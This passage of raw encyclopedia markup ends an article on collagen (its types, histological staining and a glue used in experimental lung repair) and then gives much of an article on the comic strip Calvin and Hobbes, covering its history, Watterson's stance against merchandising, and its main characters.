Gelatin-[[resorcinol]]-[[formaldehyde]] glue (and with formaldehyde replaced by less-toxic pentanedial and [[glyoxal|ethanedial]]) has been used to repair experimental incisions in [[rabbit]] [[lung]]s. (''Ann Thorac Surg.'' 1994 Jun; 57(6): 1622-7)

==Types of collagen==

Collagen occurs in many places throughout the body, and occurs in different forms known as types, which include:
* Type I collagen - This is the most abundant collagen of the human body. It is present in [[scar tissue]], the end product when tissue [[healing|heals]] by repair. It is found in [[tendon|tendons]] and the organic part of [[bone]].
* Type II collagen - Articular cartilage
* Type III collagen - This is the collagen of [[granulation tissue]], and is produced quickly by young fibroblasts before the tougher type I collagen is synthesized.
* Type IV collagen - [[basal lamina]]; eye lens
* Type V collagen - most interstitial tissue, assoc. with type I, associated with placenta
* Type VI collagen - most interstitial tissue, assoc. with type I
* Type VII collagen - epithelia
* Type VIII collagen - some endothelial cells
* Type IX collagen - cartilage, assoc. with type II
* Type X collagen - hypertrophic and mineralizing cartilage
* Type XI collagen - cartilage
* Type XII collagen - interacts with types I and III
* Type XIII collagen - interacts with types I and II

There are 27 types of collagen in total

==Staining==

In [[histology]], the [[dye]] [[methyl violet]] is used to [[staining (biology)|stain]] the collagen in tissue samples.

==See also==
* [[Osteoid]]
* [[Trout pout]]

==External links and references==
* [http://web.indstate.edu/thcme/mwking/extracellularmatrix.html 12 types of collagen]
* [http://www.archaeology.org/online/news/glue.html Oldest glue discovered near Dead Sea]
* [http://www.le.ac.uk/genetics/collagen/ Database of type I and type III collagen mutations]
* Direct Science [http://www.directscience.info/biochemistry/collagen.php Collagen]

[[Category:Structural proteins]]
[[Category:Edible thickening agents]]

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    <title>Calvin and Hobbes</title>
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      <text xml:space="preserve">[[Image:Calvin and Hobbes Original.png|200px|thumb|right|Calvin and Hobbes took many wagon rides over the years—this one showed up on the cover of the first collection of comic strips.]]
{{Spoken Wikipedia-3|2006-01-29|CalvinAndHobbes1.ogg|CalvinAndHobbes2.ogg|CalvinAndHobbes3.ogg}}
'''''Calvin and Hobbes''''' was a daily [[comic strip]] written and illustrated by [[Bill Watterson]], following the humorous antics of Calvin, an imaginative six-year-old boy, and Hobbes, his energetic and sardonic—albeit [[stuffed animal|stuffed]]—[[tiger]]. [[Print syndication|Syndicated]] from [[November 18]], [[1985]] until [[December 31]], [[1995]], at its height ''Calvin and Hobbes'' was carried by over 2,400 newspapers worldwide. To date, more than 30 million copies of 18 ''Calvin and Hobbes'' books have been printed.

The strip is [[Setting of Calvin and Hobbes|vaguely set]] in the [[contemporary]] [[Midwestern]] [[United States]], in the outskirts of [[suburbia]] {{ref_harvard|West|West 1989|none}}. Calvin and Hobbes themselves appear in most of the strips, though several have focused instead upon Calvin's family. The broad themes of the strip deal with Calvin's flights of fantasy, his friendship with Hobbes, his misadventures, his views on a diverse range of political and cultural issues and his relationships and interactions with his parents, classmates, educators, and other members of society. The dual nature of Hobbes is also a recurring motif; Calvin sees Hobbes as alive, while other characters see him as a stuffed animal, a point discussed more fully [[#Hobbes' reality|below]]. Unlike political strips such as [[Garry Trudeau]]'s ''[[Doonesbury]],'' the series doesn't mention specific political figures, but it does examine broad issues like [[environmentalism]] and the flaws of [[opinion poll]]s {{ref_harvard|Astor2|Astor 1989|none}}.

Because of Watterson's strong anti-[[merchandising]] sentiments {{ref_harvard|Dean|Dean 1987|none}} and his reluctance to return to the spotlight, almost no legitimate ''Calvin and Hobbes'' licensed material exists outside of the book collections, but collectors do collect items that were officially approved for marketing purposes[http://ignatz.brinkster.net/citems.html]. Two notable exceptions to the licensing embargo were the publication of two 16-month wall calendars and the textbook ''Teaching with Calvin and Hobbes''.

However, the strip's immense popularity has led to the appearance of various &quot;[[Counterfeit|bootleg]]&quot; items, including T-shirts, keychains, bumper stickers, and window decals, often including obscene language or references wholly uncharacteristic of the whimsical spirit of Watterson's work.

==History==
''Calvin and Hobbes'' was first conceived when Watterson, having worked in an advertising job he detested, began devoting his spare time to [[cartooning]], his true love. He explored various strip ideas but all were rejected by the syndicates to which he sent them. However, he did receive a positive response on one strip, which featured a side character (the main character's little brother) who had a stuffed tiger. Told that these characters were the strongest, Watterson began a new strip centered around them. The [[syndicate]] ([[United Features Syndicate]]) which gave him this advice actually rejected the new strip, and Watterson endured a few more rejections before [[Universal Press Syndicate]] decided to take it {{ref_harvard|Christie|Christie 1987|none}} {{ref_harvard|Dean|Dean 1987|none}}.

The first strip was published on [[November 18]], [[1985]] and the series quickly became a hit. Within a year of [[print syndication|syndication]], the strip was published in roughly 250 newspapers. By [[April 1]] [[1987]], only sixteen months after the strip began, Watterson and his work were featured in an article by the ''[[Los Angeles Times]]'', one of the nation's major newspapers {{ref_harvard|Dean|Dean 1987|none}}. ''Calvin and Hobbes'' twice earned Watterson the [[Reuben Award]] from the [[National Cartoonists Society]], in the [[Outstanding Cartoonist of the Year]] category, first in 1986 and again in 1988. (He was nominated again in 1992.)  Also, the Society awarded him the Humor Comic Strip Award for 1988.

Before long, the strip was in wide circulation outside the United States; for more information on publication in various countries and languages, see [[Calvin and Hobbes in translation|''Calvin and Hobbes'' in translation]].

Watterson took two extended breaks from writing new strips—from May 1991 to February 1992, and from April through December of 1994.

In 1995, Watterson sent a letter via his syndicate to all editors whose [[newspaper]]s carried his strip. It contained the following:

::I will be stopping ''Calvin and Hobbes'' at the end of the year. This was not a recent or an easy decision, and I leave with some sadness. My interests have shifted however, and I believe I've done what I can do within the constraints of daily deadlines and small panels. I am eager to work at a more thoughtful pace, with fewer artistic compromises. I have not yet decided on future projects, but my relationship with Universal Press Syndicate will continue.

::That so many newspapers would carry ''Calvin and Hobbes'' is an honor I'll long be proud of, and I've greatly appreciated your support and indulgence over the last decade. Drawing this comic strip has been a privilege and a pleasure, and I thank you for giving me the opportunity.

The 3150th&lt;!--can anyone cite this?--&gt; and final strip ran on Sunday, [[December 31]], [[1995]]. It depicted Calvin and Hobbes outside in freshly-fallen snow, reveling in the wonder and excitement of the [[winter]] scene. &quot;It's a magical world, Hobbes ol' buddy!&quot; Calvin exclaims in the last panel. &quot;Let's go exploring!&quot;

===Syndication and Watterson's artistic standards===
From the outset, Watterson found himself at odds with the syndicate, which urged him to begin merchandising the characters and touring the country to promote the first collections of comic strips. Watterson refused. To him, the integrity of the strip and its artist would be undermined by commercialization, which he saw as a major negative influence in the world of cartoon art {{ref_harvard|West|West 1989|none}}.

Watterson also grew increasingly frustrated by the gradual shrinking of available space for comics in the newspapers. He lamented that without space for anything more than simple dialogue or spare artwork, comics as an art form were becoming dilute, bland, and unoriginal {{ref_harvard|Astor1|Astor 1988|none}} {{ref_harvard|West|West 1989|none}}. Watterson strove for a full-page version of his strip (as opposed to the few cells allocated for most strips). He longed for the artistic freedom allotted classic strips such as ''[[Little Nemo]]'' and ''[[Krazy Kat]]'', and he gave a sample of what could be accomplished with such liberty in the opening pages of the Sunday strip compilation, ''The Calvin and Hobbes Lazy Sunday Book.'' 

During Watterson's first [[sabbatical]] from the strip, Universal Press Syndicate continued to charge newspapers full price to re-run old ''Calvin and Hobbes'' strips. Few editors approved of the move, but the strip was so popular that they had little choice but to continue to run it for fear that competing newspapers might pick it up and draw its fans away. Then, upon Watterson's return, Universal Press announced that Watterson had demanded that his Sunday strip be guaranteed half of a newspaper or tabloid page for its space allotment. Many editors and even a few cartoonists, such as [[Bil Keane]] (''[[The Family Circus]]''), criticized him for what they perceived as arrogance and an unwillingness to abide by the normal practices of the cartoon business—a charge that Watterson ignored. Watterson had negotiated the deal to allow himself more creative freedom in the Sunday comics. Prior to the switch, he had to have a certain number of panels with little freedom as to layout (due to the fact that in different newspapers the strip would appear at a different width); afterwards, he was free to go with whatever graphic layout he wanted, however unorthodox. His frustration with the standard space division requirements is evident in strips before the change; for example, a 1988 Sunday strip published before the deal is one large panel, but with all the action and dialogue in the bottom part of the panel so editors could crop the top part if they wanted to fit the strip into a smaller space. Watterson's explanation for the switch:

::I took a sabbatical after resolving a long and emotionally draining fight to prevent ''Calvin and Hobbes'' from being merchandised. Looking for a way to rekindle my enthusiasm for the duration of a new contract term, I proposed a redesigned Sunday format that would permit more panel flexibility. To my surprise and delight, Universal responded with an offer to market the strip as an unbreakable half page (more space than I'd dared to ask for), despite the expected resistance of editors.

::To this day, my syndicate assures me that some editors liked the new format, appreciated the difference, and were happy to run the larger strip, but I think it's fair to say that this was not the most common reaction. The syndicate had warned me to prepare for numerous cancellations of the Sunday feature, but after a few weeks of dealing with howling, purple-faced editors, the syndicate suggested that papers could reduce the strip to the size tabloid newspapers used for their smaller sheets of paper. … I focused on the bright side: I had complete freedom of design and there were virtually no cancellations.

::For all the yelling and screaming by outraged editors, I remain convinced that the larger Sunday strip gave newspapers a better product and made the comics section more fun for readers. Comics are a visual medium. A strip with a lot of drawing can be exciting and add some variety. Proud as I am that I was able to draw a larger strip, I don't expect to see it happen again any time soon. In the newspaper business, space is money, and I suspect most editors would still say that the difference is not worth the cost. Sadly, the situation is a vicious circle: because there's no room for better artwork, the comics are simply drawn; because they're simply drawn, why should they have more room? {{ref_harvard|SundayPages|Watterson 2001:15|none}}

Despite the change, ''Calvin and Hobbes'' remained extremely popular and thus Watterson was able to expand his style and technique for the more spacious Sunday strips without losing carriers.

Since ending the strip, Watterson has kept aloof from the public eye and has given no indication of resuming the strip or creating new works based on the characters. He refuses to sign [[autograph]]s or license his characters, staying true to his stated principles. In previous years, he was known to sneak autographed copies of his books onto the shelves of a family-owned bookstore near his home in Chagrin Falls, Ohio. However, after discovering that some people were selling the autographed books on [[eBay]] for high prices, he ended this practice as well.

===Merchandising===
Bill Watterson is notable for his insistence that cartoon strips should stand on their own as an art form, and he has resisted the use of ''Calvin and Hobbes'' in merchandising of any sort {{ref_harvard|Christie|Christie 1987|none}}. This insistence stuck despite what was probably a cost of millions of dollars per year in additional personal income. Watterson explains in a 2005 press release:

::Actually, I wasn't against all merchandising when I started the strip, but each product I considered seemed to violate the spirit of the strip, contradict its message, and take me away from the work I loved. If my syndicate had let it go at that, the decision would have taken maybe 30 seconds of my life. {{ref_harvard|Andrews|Andrews McMeel 2005|none}}.

Watterson did ponder animating Calvin and Hobbes, and has expressed admiration for the art form. In a 1989 interview in ''[[The Comics Journal]]'', Watterson states:

::If you look at the old cartoons by Tex Avery and Chuck Jones, you’ll see that there are a lot of things single drawings just can’t do. Animators can get away with incredible distortion and exaggeration [...] because the animator can control the length of time you see something. The bizarre exaggeration barely has time to register, and the viewer doesn’t ponder the incredible license he's witnessed.

::In a comic strip, you just show the highlights of action - you can’t show the buildup and release... or at least not without slowing down the pace of everything to the point where it’s like looking at individual frames of a movie, in which case you’ve probably lost the effect you were trying to achieve. In a comic strip, you can suggest motion and time, but it’s very crude compared to what an animator can do. I have a real awe for good animation.{{ref_harvard|West|West 1989|none}}

After this he was asked if it was &quot;a little scary to think of hearing Calvin's voice.&quot; He responded that it was &quot;very scary,&quot; and although he loved the visual possibilities animation had, the thought of casting voice actors to play his characters was something he felt uncomfortable doing. Plus, he wasn't sure he wanted to work with an animation team, as he'd done all previous work by himself. Ultimately, Calvin and Hobbes was never made into an [[animated series]].

Except for the [[Calvin and Hobbes#Calvin and Hobbes books | books]], two 16-month calendars (1988–1989 and 1989–1990), and a children's textbook, virtually all ''Calvin and Hobbes'' merchandise, including T-shirts as well as the ubiquitous stickers for [[automobile]] rear windows which depict Calvin urinating on a company's or sports team's name or logo, are unauthorized. After threat of a lawsuit alleging infringement of copyright and trademark, some of the sticker makers replaced Calvin with a different boy, while other makers ignored the issue. Watterson wryly commented &quot;I clearly miscalculated how popular it would be to show Calvin urinating on a [[Ford Motor Company|Ford]] logo.&quot; [http://www.andrewsmcmeel.com/calvinandhobbes/interview.html] Some legitimate special items were produced, such as promotional packages to sell the strip to newspapers, but these were never sold outright.

==Popular Culture==
Comedian [[David Spade]] has a tattoo of Calvin on his left bicep.  It was given to him by actor [[Sean Penn]] during an interview on ''[[Saturday Night Live]]''.

==Style and Influences==
''Calvin and Hobbes'' strips are characterized by sparse but careful draftsmanship, intelligent humor, poignant observations, witty social and political commentary, and well-developed characters that are full of personality. Precedents to Calvin's fantasy world can be found in [[Charles M. Schulz]]'s ''[[Peanuts]],'' [[Percy Crosby]]'s ''[[Skippy (comic strip)|Skippy]],'' [[Berkeley Breathed]]'s ''[[Bloom County]],'' and [[George Herriman]]'s ''[[Krazy Kat]],'' while Watterson's use of comics as sociopolitical commentary reaches back to [[Walt Kelly]]'s ''[[Pogo]].'' Schulz and Kelly in particular influenced Watterson's outlook on comics during his formative years {{ref_harvard|Christie|Christie 1987|none}}.

Notable elements of Watterson's artistic style are his characters' diverse and often exaggerated expressions (particularly those of Calvin), elaborate and bizarre backgrounds for Calvin's flights of imagination, well-captured kinetics, and frequent visual jokes and metaphors. In the later years of the strip, with more space available for his use, Watterson experimented more freely with different panel layouts, stories without dialogue, and greater use of whitespace. 

Watterson's technique started with minimal [[pencil]] sketches (though the larger Sunday strips often required more elaborate work); he then would use a small sable brush and [[India ink]] to complete most of the remaining drawing. He was careful in his use of color, often spending a great deal of time in choosing the right colors to employ for the weekly Sunday strip.

===Art and academia===
Watterson has used the strip to criticize the artistic world, principally through Calvin's unconventional creations of [[snowman|snowmen]]. When Miss Wormwood complains that he is wasting class time drawing incomprehensible things (a [[stegosaurus]] in a rocket ship, in fact), Calvin proclaims himself &quot;on the cutting edge of the [[avant-garde]]&quot;. He begins exploring the medium of snow when a warm day melts his [[snowman]]. His next sculpture &quot;speaks to the horror of our own mortality&quot;, inviting the viewer to contemplate the fleeting nature of life, much in the vein of [[Ecclesiastes]]. Over the years, Calvin's creative instincts diversify into sidewalk drawings (&quot;suburban [[postmodernism]]&quot;).

Watterson also directed criticism toward the [[academia|academic world]]. Calvin writes a &quot;[[revisionism|revisionist]] autobiography&quot;, giving himself a [[flame thrower]]; he carefully crafts an &quot;artist's statement&quot;, knowing that such essays convey more messages than artworks themselves ever do. (&quot;You misspelled ''[[Weltanschauung]],''&quot; Hobbes notes.) He indulges in what Watterson calls &quot;pop [[Psychobabble (jargon) | psychobabble]]&quot; to justify his destructive rampages and shift blame to his parents, citing &quot;toxic [[codependency]].&quot; Once, he pens a book report entitled, &quot;The dynamics of interbeing and monological imperatives in ''[[Dick and Jane]]:'' a study in psychic transrelational gender modes.&quot; Displaying his creation to Hobbes, he remarks, &quot;[[Academia]], here I come!&quot; Watterson explains that he adapted this jargon (and similar examples from several other strips) from an actual book of art criticism {{ref_harvard|Watterson|Watterson 1995:184|b}}.

Overall, Watterson's satirical essays serve to attack both sides, criticizing both the commercial mainstream and the artists who are supposed to be &quot;outside&quot; it. Walking contemplatively through the woods, not long after he began drawing his &quot;''Dinosaurs in Rocket Ships'' Series&quot;, Calvin tells Hobbes,
::The hard part for us avant-garde post-modern artists is deciding whether or not to embrace commercialism. Do we allow our work to be hyped and exploited by a market that's simply hungry for the next new thing? Do we participate in a system that turns high art into low art so it's better suited for mass consumption?
::Of course, when an artist goes commercial, he makes a mockery of his status as an outsider and free thinker. He buys into the crass and shallow values art should transcend. He trades the integrity of his art for riches and fame.
::Oh, what the heck. I'll do it.
Such sentiments echo Watterson's own struggles with his Syndicate over merchandising issues.

===Distorted reality===
Upon several occasions, Watterson began a strip with a distorted view of reality: inverted colors, all objects turning &quot;neo-[[Cubism|Cubist]]&quot;, or the world turning to black-and-white, for example. Only Calvin is able to perceive these changes, which the reader can interpret as Calvin's way of seeing certain situations, issues and subjects which he has difficulty understanding or accepting.

In the ''Tenth Anniversary Book,'' Watterson indicates that some of these strips were [[metaphor]]s for his own conflicts, typically against his Syndicate's desire to produce ''Calvin and Hobbes'' merchandise.  Accused of only seeing issues in &quot;black and white&quot;&amp;mdash;''e.g.,'' crass commercialism versus artistic integrity, with nothing in between&amp;mdash;Watterson chose to illustrate the situation literally, dropping Calvin into a world where everything ''had'' lost shades of grey.  Conversely, the &quot;neo-Cubist&quot; strip emerged from the way Watterson found himself &quot;paralyzed by being able to see all sides of an issue&quot;.

===Passage of time===
When the strips were originally published, Calvin's settings were seasonally appropriate for the Northern hemisphere. Calvin would be seen building snowmen or sledding during the wintertime, and outside activities such as water balloon fights would replace school during the summer. [[Christmas]] and [[Halloween]] strips were run during those approximate times of year.

Although Watterson depicts several years' worth of holidays, school years, summer vacations, and camping trips, Calvin is never shown to age nor have any [[birthday]] celebrations (the only shown birthday was that of Susie Derkins). This is fairly common among comic strips; consider the children in [[Charles Schulz]]'s ''[[Peanuts]],'' most of whom existed without aging for decades. Likewise, the characters in [[George Herriman]]'s ''[[Krazy Kat]]'' celebrate the New Year but never grow old, and young characters like Ignatz Mouse's offspring never seem to grow up. Since this is such a common phenomenon, readers are likely to [[suspension of disbelief|suspend disbelief]], as most of them do about Calvin's precocious vocabulary, accepting that he &quot;was never a literal six-year-old&quot; {{ref_harvard|Watterson|Watterson 1995|a}}.

===Social criticisms===
In addition to his criticisms of [[Calvin and hobbes#Art and academia|art and academia]], Watterson often used the strip to comment on American culture and society. As the strip avoids reference to actual people or events, Watterson's commentary is necessarily generalized. He expresses frustration with public decadence and apathy, with commercialism, and the pandering nature of the mass media. Calvin is often seen &quot;glued&quot; to the television, while his father speaks with the voice of the author, struggling to impart his values on Calvin.

Hobbes also speaks on Calvin's unwholesome habits, but from a more cynical perspective; he is more likely to make a wry observation than actually intervene. Sometimes he merely looks on as Calvin inadvertently makes the point himself. In one instance, Calvin tells Hobbes about a story in which machines turn humans into zombie slaves. He then exclaims &quot;Hey! What time is it?? My TV show is on!&quot;

Calvin's taste in films is another way in which Watterson criticizes American culture. Films which Calvin has attempted to watch include ''Attack of the Coed Cannibals'', ''Cannibal Stewardess Vixens Unchained'', ''Killer Prom Queen'', ''Vampire Sorority Babes'', and ''Venusian Vampire Vixens.''

==The main characters==
===Calvin===
[[Image:Calvin &amp; Hobbes - Calvin.png|right|Calvin]]
Named after 16th century [[theology|theologian]] [[John Calvin]] (founder of [[Calvinism]] and a strong believer in [[predestination]]), Calvin is an impulsive, imaginative, energetic, curious, intelligent, self-centered, and often selfish six-year-old, whose last name the strip never gives. Despite his low grades, Calvin has a wide vocabulary range that rivals that of an adult as well as an emerging philosophical mind. He commonly wears his distinctive striped shirt.  Watterson has described Calvin thus:
*&quot;Calvin is pretty easy to do because he is outgoing and rambunctious and there's not much of a filter between his brain and his mouth&quot; {{ref_harvard|Williams|Williams 1987|none}}.
*&quot;I guess he's a little too intelligent for his age. The thing that I really enjoy about him is that he has no sense of restraint, he doesn't have the experience yet to know the things that you shouldn't do&quot; {{ref_harvard|Dean|Dean 1987|none}}.
*&quot;The socialization that we all go through to become adults teaches you not to say certain things because you later suffer the consequences. Calvin doesn't know that rule of thumb yet&quot; {{ref_harvard|West|West 1989|none}}.

[[Predestination (Calvinism)|Calvinistic predestination]] as a philosophical position basically entails the idea that human action plays no part in affecting a person's ultimate [[Salvation#Christian views of salvation#Protestantism|salvation]] or [[Damnation#Religious|damnation]]. Calvin's consistent gripe is that the troublesome acts he commits are outside of his control: he is simply a product of his environment, a victim of circumstances.

===Hobbes===
[[Image:Calvin &amp; Hobbes - Hobbes.png|right|Hobbes]]
Hobbes is Calvin's stuffed tiger who, from Calvin's perspective, is as alive and real as anyone  in the strip. He is named after 17th century [[philosopher]] [[Thomas Hobbes]], who had what Watterson described as &quot;a dim view of human nature.&quot; He is famous for his claim that humans' natural state is a state of war, where &quot;the life of man [is], solitary, poore [''[[Sic (Latin)|sic]]''], nasty, brutish, and short.&quot; Hobbes is much more rational and aware of consequences than Calvin, but seldom interferes with Calvin's troublemaking beyond a few oblique warnings—after all, Calvin will be the one to get in trouble for it, not Hobbes.

For the most part, Calvin and Hobbes converse and play together, reveling in what is ultimately a deep friendship. They also frequently argue or even fight with each other, though their disagreements are generally short-lived. Often Hobbes ambushes Calvin with an energetic pounce-and-tackle attack, which leaves Calvin bruised and scraped up but not seriously harmed. Hobbes takes great pleasure in his demonstrations of feline prowess, while Calvin expresses keen frustration at his inability to stop the attacks or explain his injuries to his skeptical parents.

Watterson based some of Hobbes's characteristics, especially his playfulness and attack instinct, on his own pet cat, Sprite. Hobbes takes great pride in being a feline and frequently makes wry or even disparaging comments about human nature, declaring his good fortune to lead a tiger's life. In Calvin's philosophical ramblings, it is evident that Hobbes is usually Bill Watterson's voice on the subject, whereas Calvin usually seems to echo the sentiments (or lack thereof) of modern America. It may otherwise be asserted that Calvin rather portrays an alter-ego of Watterson.

Interestingly, Hobbes almost never calls Calvin by his name. Instead, he simply uses [[pronouns]] when speaking to his human counterpart.

One frequently recurring theme is Hobbes' love affair with [[tuna]], which borders on obsessive addiction.

====Hobbes' reality====
From Calvin's point of view, Hobbes is a walking, talking, [[bipedal]] [[tiger]], much larger than Calvin and full of his own attitudes and ideas. But when the perspective shifts to any other character, readers see merely a little stuffed tiger. This is, of course, an odd dichotomy, and Watterson explains it thus:

::When Hobbes is a stuffed toy in one panel and alive in the next, I'm juxtaposing the &quot;grown-up&quot; version of reality with Calvin's version, and inviting the reader to decide which is truer {{ref_harvard|Christie|Christie 1987|none}}.

Many readers assume that Hobbes is either a product of Calvin's [[imagination]], or a [[doll]] that comes to life when Calvin is the only one around. However, both of these theories are incorrect. As Watterson explains in the ''Tenth Anniversary Book,'' &quot;Hobbes is more about the subjective nature of reality than dolls coming to life&quot;: thus there is no concrete definition of Hobbes' reality. Watterson explained: &quot;Calvin sees Hobbes one way, and everyone else sees Hobbes another way.&quot; Hobbes' reality is in the eye of the beholder. The so-called 'gimmick' of Hobbes is the juxtaposition of Calvin and Hobbes' reality and everyone else's, with the two rarely agreeing.

Sometimes Hobbes breaks the [[fourth wall]] and speaks directly to the reader, such as when Calvin tries to parachute from his house's roof (&quot;His mom's going to have a fit about those rose bushes&quot;). On other occasions, it is difficult to imagine how the &quot;stuffed toy&quot; interpretation of Hobbes is consistent with what the characters see. For example, he &quot;assists&quot; Calvin's attempt to become a [[Houdini]]-style escape artist by tying Calvin to a chair. Calvin, however, cannot escape, and his irritated father must undo the knots, all the while asking Calvin how he could do this to himself. In a rare interview, Watterson explained his approach to this situation:

::Calvin's dad finds him tied up and the question remains, really, how did he get that way? His dad assumes that Calvin tied himself up somehow, so well that he couldn't get out. Calvin explains that Hobbes did this to him and he tries to place the blame on Hobbes entirely, and it's never resolved in the strip. Again I don't think that's just a cheap way out of the story. I like the tension that that creates, where you've got two versions of reality that do not mix. Something odd has happened and neither makes complete sense, so you're left to make out of it what you want. {{ref_harvard|West|West 1989|none}}

In response to the journalist's assumption that Hobbes was a figment of Calvin's imagination, Watterson responded,

::But the strip doesn't assert that. That's the assumption that adults make because nobody else sees him, sees Hobbes, in the way that Calvin does. Some reporter was writing a story on [[imaginary friend]]s and they asked me for a comment, and I didn’t do it because I really have absolutely no knowledge about imaginary friends. It would seem to me, though, that when you make up a friend for yourself, you would have somebody to agree with you, not to argue with you. So Hobbes is more real than I suspect any kid would dream up. {{ref_harvard|West|West 1989|none}}

In another story, Susie has to stay at Calvin's house after school because her parents are working late. Calvin only finds this out on the way home; when Calvin and Susie reach the house, Hobbes is waiting by the door for Susie and wearing a tie. But the question is, how is Hobbes wearing the tie? Another instance of ambiguity is a strip in which Calvin imagines Hobbes and himself on the front page of many newspapers after winning a contest. Although these newspapers are clearly a figment of Calvin's imagination, Hobbes appears in &quot;stuffed&quot; form. Calvin has taken photographs of Hobbes, but on each occasion, when adults see the pictures, Hobbes appears as a stuffed toy.

Many people feel that the blurred reality between Hobbes' two forms is both amusing and philosophical. Hobbes is often the voice of reason, contrasting Calvin's manic impulsiveness. Readers are left to wonder if this rationality is in Hobbes as a distinct personality, or in Calvin as a kind of conscience. In the end, the question becomes less about absolute truth and more about different versions of reality: the nature of Hobbes' existence was never a puzzle to be solved, but rather a subtle comment on the power of imagination, and on the similar power of a lack thereof.

==Supporting characters==
===Recurring characters===
====Calvin's family====
[[Image:Calmomdad.gif|frame|right|Calvin's unnamed parents, usually referred to only as &quot;Mom&quot; and &quot;Dad&quot;.]]

Calvin's mother and father are for the most part typical [[Middle America|Middle American]] [[middle class|middle-class]] parents; like many other characters in the strip, their relatively down-to-earth and sensible attitudes serve primarily as a foil for Calvin's outlandish behavior. Both parents go through the entire strip unnamed, except as &quot;Mom&quot; and &quot;Dad&quot;, or such [[nickname|pet names]] as &quot;hon&quot; and &quot;dear.&quot;  [[Bill Watterson|Watterson]] has never given Calvin's parents names &quot;because as far as the strip is concerned, they are important only as Calvin's mom and dad.&quot;

Calvin's father is a middle-aged [[patent attorney]] who is portrayed as an upstanding middle-class father, as his son might see him. An outdoorsman, he enjoys [[cycling|bike rides]] and [[camping]] trips, and insists that these activities, like Calvin's chores, &quot;build character.&quot; When Calvin asks him questions, he often makes up outlandish answers, such as: 

::Calvin: &quot;Why does it [the sun] move from east to west?&quot;
::Dad: &quot;[[Solar wind]].&quot;

::Calvin: &quot;Dad, what makes wind?&quot;
::Dad: &quot;Trees sneezing.&quot;
::Calvin: &quot;Really?&quot;
::Dad: &quot;No, but the truth is more complicated.&quot;
::Calvin ''(later, to Hobbes)'': &quot;The trees are really sneezing today.&quot;

These repeated vague and outright false answers may be social commentary on the distortion of reality that pervades much of Calvin and Hobbes.  It is intriguing to note that to be a patent attorney traditionally requires an engineering degree, therefore Calvin's father must have the actual scientific knowledge of the questions Calvin asks.  His refusal and nonsensical responses indicate the adult world's unwillingness to share the knowledge or deliberate distortion of reality.  Of course, these bits of nonsensical fatherly &quot;wisdom&quot; may also signify that Calvin's father, like his son, has an imaginative streak that occasionally bursts free of his straitlaced paternal facade (thus implying that Calvin's mother's occasional accusations that Calvin must  have inherited his outlandish behaviour from Dad's side of the family may, in fact, be correct).  

The character is closely based on Watterson's own father, who is also a patent attorney, and often told his family that unpleasant things &quot;built character.&quot; The actual caricature is rumored to be a self-portrait of Watterson himself, minus his facial hair. Watterson has said that he identifies more with this character than with Calvin.

Calvin's mother is a stay-at-home parent who is frequently exasperated by Calvin's antics. On the rare occasions when she is not reacting to Calvin's misbehavior, she seems to enjoy quiet activities, such as gardening and reading. The &quot;daily disciplinarian&quot;, she is frequently the one forced to curb Calvin's destructive tendencies; in one Sunday strip, she allows Calvin to smoke a cigarette in order to teach him how unpleasant smoking can be. She also usually seems sympathetic towards her son's relationship with Hobbes, and a few times has found herself speaking to Hobbes as well (although she refers to one instance as &quot;talking to a stuffed animal&quot;).

On occasion, Watterson takes the time to flesh out the two parental characters. One example is a storyline in which the family returns from a [[wedding]] to find their house broken into. For several strips, Calvin and Hobbes fade into the background as Mom and Dad reflect on the impact of the event.

Calvin's parents drive a purple [[hatchback]] similar to an early 1980s [[Honda Civic]] or [[VW Rabbit]]. The car is the setting of family trips, and is occasionally the victim of Calvin's mischief, such as when he pushes the car into a ditch or attempts to sell it.

Calvin also has a maternal grandmother and maternal grandfather. A grandfather who smokes is also mentioned, but it is unclear whether he is the maternal or paternal grandfather; none appear in the strip, and are only rarely mentioned in dialogue. Calvin also has an Uncle Max, a [[Secondary characters in Calvin and Hobbes#Minor characters|minor character]] who figures in one storyline but was not to Watterson's liking and vanished again.

====Susie Derkins====
{{main article|[[Susie Derkins (character)|Susie Derkins]]}}

Susie Derkins, the only character with both first and last names, is a classmate of Calvin who lives in his neighborhood. She first appeared early in the strip as a new student in Calvin's class. In contrast with Calvin, she is polite and diligent in her studies, and her imagination usually seems mild-mannered and civilized, consisting of stereotypical young [[girl]] games such as playing house or having tea parties with her stuffed animals. &quot;Derkins&quot; was the nickname of Watterson's wife's childhood pet, and he liked the name so much he named this character after it.

Susie and Calvin's relationship is a constant source of tension; she is frequently the victim of Calvin's derision and plots, and is also often willing to retaliate when provoked. Most commonly, Susie will be the target of Calvin's water balloons or snowballs, and he often goes to great lengths to disgust or annoy Susie. Calvin founded his and Hobbes' secret club, G.R.O.S.S. ('''G'''et '''R'''id '''O'''f '''S'''limy Girl'''S''') as a general anti-girl organization, but in practice the club is almost invariably dedicated to pestering Susie specifically.

Watterson admits that Calvin and Susie have a bit of a nascent crush on each other, and that Susie is inspired by the type of women he himself finds attractive (which has led to speculation that Susie is based on Watterson's wife). Her relationship with Calvin, though, is frequently conflicted, and never really becomes sorted out. The love/hate relationship is most obvious in some of the early comics involving Susie and Calvin's relationships, when some punchlines revolved around Susie and Calvin going out of their way to malign each other, followed immediately by each thinking romantic thoughts about the other. Specifically, in an early Valentine's Day strip, Susie seems to appreciate a rather juvenile and insulting card Calvin gives her, and he rejoices when she notices him. Watterson, in retrospect, decided this was a bit heavy-handed and resolved to simply let the two characters bounce off each other in future, to the point of practically removing any romantic subtext.

On occasion, Hobbes takes action to attract Susie's romantic attention, often with success, and much to Calvin's chagrin. Although on the surface these scenarios take the form of Hobbes teasing Calvin and showing off his charms, they may be Calvin's way to disguise his own crush on Susie, by pretending that it is Hobbes' crush instead. As Calvin once said, &quot;It's shameless, the way we flirt.&quot;

====Miss Wormwood====
{{main|Miss Wormwood|Miss Wormwood (character)}}

&lt;!-- Unsourced image removed: [[Image:Calworm.jpg|thumb|right|100px|Miss Wormwood, Calvin's teacher.]] --&gt;

[[Miss Wormwood]] is Calvin's world-weary teacher, named after the apprentice devil in [[C.S. Lewis]]'s ''[[The Screwtape Letters]]''. She perpetually wears polka-dotted dresses, and is another character who serves as a foil to Calvin's mischief.  Calvin, when in his [[Spaceman Spiff]] persona, sees Miss Wormwood as a slimy, often dictatorial alien.

Miss Wormwood is rarely sympathetic to the trouble Calvin has in school, and comes across as a rather strict, sour character. She is quick to send Calvin to the principal's office at the first sign of trouble. She is also a heavy smoker&amp;mdash;&quot;Rumor has it she's up to two packs a day, unfiltered&quot;&amp;mdash;mixes different stress-related medications, drinks Maalox straight from the bottle, and is waiting for retirement.

